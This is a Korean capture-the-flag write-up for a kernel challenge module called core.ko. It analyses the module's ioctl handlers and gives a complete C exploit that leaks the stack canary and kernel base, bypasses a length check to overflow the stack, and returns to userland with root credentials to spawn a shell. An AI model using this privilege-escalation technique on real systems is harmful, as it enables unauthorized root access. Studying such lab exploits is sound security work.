직접 Writeup 안보고 풀었다. 🎉
문제 파일
file: attachment
> ls
bzImage core.cpio start.sh vmlinux
압축을 풀면 위와 같다.
cpio 명령어로 rootfs에 cpio파일을 푼다.
init파일을 읽는다.
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
별건 없고 /core.ko가 있다.
core.ko를 디컴파일 해서 분석해보자
중요함수는 아래와 같다.
- ioctl 함수
- 0x6677889b: read 함수 실행
- 0x6677889c: off 변수에 인자 값을 넣기
- 0x6677889a: copy 함수 실행
- read 함수: 지역변수에서 off만큼 떨어진 곳에서 0x40 바이트를 읽어서 사용자 공간에 쓰기
- copy 함수: name 변수에 있는 값을 인자값 만큼 지역변수에 넣기 (byte limit bypass 가능)
- write 함수: name 변수에 사용자 공간의 데이터를 인자값 만큼 쓰기
익스 시나리오
- ioctl 0x6677889c를 통해서 off값을 증가시키기
- ioctl 0x6677889b를 통해서 read함수 실행 ->
canary,kernel baseleak - write을 통해서 name에 ROP chain 넣기
- copy를 통해서 name을 지역변수로 옮기기 <-
0xffffffffffff0058로 byte limit bypass
익스
개략적인 익스 코드는 krop 을 참고했다.
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>
struct task_struct;
struct cred;
static struct cred* (*prepare_kernel_cred)(struct task_struct *deamon) = (void*) 0x9CCE0;
static int (*commit_creds)(struct cred* new) = (void*) 0x9C8E0;
uint64_t stack[512] __attribute__((aligned(16)));
void shell() {
system("/bin/sh");
exit(0);
}
void ret2usr() {
static struct trap_frame {
void *rip;
uint64_t cs;
uint64_t rflags;
void *rsp;
uint64_t ss;
} tf = {
.rip = &shell,
.cs = 0x33,
.rflags = 0x202,
.rsp = stack + 512,
.ss = 0x2b
};
volatile register uint64_t RSP asm("rsp");
commit_creds(prepare_kernel_cred(NULL));
RSP = (uint64_t) &tf;
asm volatile(
"cli\n\t"
"swapgs\n\t"
"iretq"
::"r" (RSP)
);
}
int main() {
char leak[0x50] = {0,};
uint64_t chain[0x10] = {0,};
unsigned index = 8;
int fd = open("/proc/core", O_RDWR);
if (fd != 3) {
puts("open error");
return 0;
}
ioctl(fd, 0x6677889c, 0x40);
ioctl(fd, 0x6677889b, leak);
for (int i = 0; i < 8; ++i) {
uint64_t value = *(uint64_t *)(&leak[i * 8]);
printf("0x%016lx", value);
printf("\n");
}
uint64_t canary = *(uint64_t *)(&leak[0 * 8]);
uint64_t code_base = *(uint64_t *)(&leak[2 * 8]) - 0x191 - 0xa;
uint64_t kernel_base = *(uint64_t *)(&leak[4 * 8]) - 0x1dd6d1;
commit_creds += kernel_base;
prepare_kernel_cred += kernel_base;
puts("[LEAK]");
printf("canary : 0x%016lx\n", canary);
printf("code base : 0x%016lx\n", code_base);
printf("kernel base: 0x%016lx\n", kernel_base);
printf("commit_creds: 0x%016lx\n", (uint64_t) commit_creds);
printf("prepare_kernel_cred: 0x%016lx\n", (uint64_t) prepare_kernel_cred);
chain[index++] = canary;
index++;
chain[index++] = (uint64_t) &ret2usr;
int written = write(fd, chain, 0x58);
if (written != 0x58) {
printf("[ERROR]\n");
printf("expected 0x58, but %x\n", written);
return 0;
}
ioctl(fd, 0x6677889a, 0xffffffffffff0058);
return 0;
}
느낀점
굿